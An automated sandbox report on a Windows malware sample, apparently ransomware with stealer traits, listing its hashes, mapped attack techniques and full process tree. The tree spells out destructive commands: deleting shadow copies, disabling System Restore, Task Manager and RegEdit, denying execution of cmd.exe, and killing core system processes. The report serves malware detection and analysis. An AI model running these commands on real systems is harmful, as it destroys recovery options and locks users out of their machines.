c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/11/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
Size 644KB
Sample261103-e7a1asst6j
SHA256 c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f
MD5 8face27ecb631bfce468e0e41f9c781e
SHA1 03ff1a02b9ed26580a958ab08a42247c0e900d41
SHA512 29ec8417848422415ff88e97de219feeca51ec3133e69a26cee773fbdf3c7182bd9be8b4f93b874c6e8bb3dc577eaf8de436913975704100476c0c2f5f32aedc
SSDEEP 12288:iBz/9TpGx7xOvdodm3q74LQFnSHKFGK9E/5mV:+9T+7xOvdodmKlFGK9E/5mV
TLSH
T13BE4C68226DB0CFAEE932B7C61DB6336A739FE708B2A4B678144C1321C135D56D5EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution exploit impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Possible privilege escalation attempt 22 IoCs

exploit

pid	Process
3432	icacls.exe
5468	takeown.exe
3572	icacls.exe
4124	takeown.exe
5956	takeown.exe
840	icacls.exe
2900	takeown.exe
1060	takeown.exe
4684	icacls.exe
696	icacls.exe
4812	takeown.exe
2844	icacls.exe
1864	takeown.exe
3944	icacls.exe
5800	icacls.exe
4964	icacls.exe
4824	takeown.exe
5584	takeown.exe
1828	icacls.exe
120	takeown.exe
5016	takeown.exe
1568	icacls.exe

Modifies file permissions 1 TTPs 22 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2844	icacls.exe
120	takeown.exe
3944	icacls.exe
5468	takeown.exe
1864	takeown.exe
1828	icacls.exe
840	icacls.exe
5016	takeown.exe
3432	icacls.exe
4824	takeown.exe
3572	icacls.exe
5956	takeown.exe
5584	takeown.exe
696	icacls.exe
4812	takeown.exe
1568	icacls.exe
2900	takeown.exe
1060	takeown.exe
5800	icacls.exe
4124	takeown.exe
4684	icacls.exe
4964	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2180	vssadmin.exe
2332	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3456	taskkill.exe
1872	taskkill.exe
4292	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: 33	1172	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1172	AUDIODG.EXE
Token: SeTakeOwnershipPrivilege	120	takeown.exe
Token: SeTakeOwnershipPrivilege	5016	takeown.exe
Token: SeTakeOwnershipPrivilege	2900	takeown.exe
Token: SeTakeOwnershipPrivilege	1060	takeown.exe
Token: SeTakeOwnershipPrivilege	4824	takeown.exe
Token: SeTakeOwnershipPrivilege	5468	takeown.exe
Token: SeTakeOwnershipPrivilege	4124	takeown.exe
Token: SeTakeOwnershipPrivilege	5956	takeown.exe
Token: SeTakeOwnershipPrivilege	5584	takeown.exe
Token: SeTakeOwnershipPrivilege	4812	takeown.exe
Token: SeTakeOwnershipPrivilege	1864	takeown.exe
Token: SeBackupPrivilege	5352	vssvc.exe
Token: SeRestorePrivilege	5352	vssvc.exe
Token: SeAuditPrivilege	5352	vssvc.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 5908	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	90
PID 2368 wrote to memory of 5560	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	93
PID 2368 wrote to memory of 120	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	95
PID 2368 wrote to memory of 840	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	97
PID 2368 wrote to memory of 5016	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	99
PID 2368 wrote to memory of 1568	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	101
PID 2368 wrote to memory of 2900	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	103
PID 2368 wrote to memory of 3944	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	105
PID 2368 wrote to memory of 1060	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	107
PID 2368 wrote to memory of 3432	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	109
PID 2368 wrote to memory of 4824	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	111
PID 2368 wrote to memory of 5800	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	113
PID 2368 wrote to memory of 5468	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	115
PID 2368 wrote to memory of 3572	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	117
PID 2368 wrote to memory of 4124	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	119
PID 2368 wrote to memory of 4684	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	121
PID 2368 wrote to memory of 5956	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	123
PID 2368 wrote to memory of 4964	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	125
PID 2368 wrote to memory of 5584	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	127
PID 2368 wrote to memory of 696	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	129
PID 2368 wrote to memory of 4812	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	131
PID 2368 wrote to memory of 2844	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	133
PID 2368 wrote to memory of 1864	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	135
PID 2368 wrote to memory of 1828	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	137
PID 2368 wrote to memory of 5364	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	139
PID 2368 wrote to memory of 5264	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	141
PID 2368 wrote to memory of 4280	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	143
PID 2368 wrote to memory of 4388	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	145
PID 2368 wrote to memory of 2352	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	147
PID 2368 wrote to memory of 3124	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	149
PID 2368 wrote to memory of 828	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	151
PID 2368 wrote to memory of 4304	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	153
PID 2368 wrote to memory of 4308	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	155
PID 2368 wrote to memory of 5444	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	157
PID 2368 wrote to memory of 2180	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	160
PID 2368 wrote to memory of 2332	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	164
PID 2368 wrote to memory of 4928	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	166
PID 2368 wrote to memory of 2932	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	168
PID 2368 wrote to memory of 1848	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	170
PID 2368 wrote to memory of 3456	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	172
PID 2368 wrote to memory of 1872	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	175
PID 2368 wrote to memory of 4292	2368	c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe	177

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe
"C:\Users\Admin\AppData\Local\Temp\c9dd4fd3fe51784b9d2187bf9245ae0d57db1e39c1fa5a608e3f9c09cd3ac07f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:5560
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\eventvwr.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:120
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\eventvwr.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:840
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\cmd.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\cmd.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1568
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\cmd.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\cmd.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3944
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\conhost.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1060
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\conhost.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3432
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\conhost.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\conhost.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5800
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\System32\OneDriveSetup.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5468
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\System32\OneDriveSetup.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3572
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Windows\SysWOW64\OneDriveSetup.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4124
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Windows\SysWOW64\OneDriveSetup.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4684
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5956
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4964
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:5584
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:696
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2844
- C:\Windows\SYSTEM32\takeown.exe
  takeown /f "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Windows\SYSTEM32\icacls.exe
  icacls "C:\Program Files (x86)\Microsoft OneDrive\FileCoAuth.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1828
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSyncNGSC /t REG_DWORD /d 1 /f
  2⤵
  PID:5364
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\OneDrive" /v DisableFileSync /t REG_DWORD /d 1 /f
  2⤵
  PID:5264
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
  2⤵
  PID:4280
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /f
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" /f
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE7}" /f
  2⤵
  PID:3124
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\onedrive" /f
  2⤵
  PID:828
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCU\Software\Classes\onedrive" /f
  2⤵
  PID:4304
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn "\Microsoft\Windows\OneDrive Standalone Update Task" /f
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn "\Microsoft\Windows\OneDrive Reporting Task" /f
  2⤵
  PID:5444
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2180
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1%
  2⤵
  - Interacts with shadow copies
  PID:2332
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:4928
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im winlogon.exe
  2⤵
  - Kills process with taskkill
  PID:3456
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im wininit.exe
  2⤵
  - Kills process with taskkill
  PID:1872
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im smss.exe
  2⤵
  - Kills process with taskkill
  PID:4292

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x0000000000000500 0x00000000000004FC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1172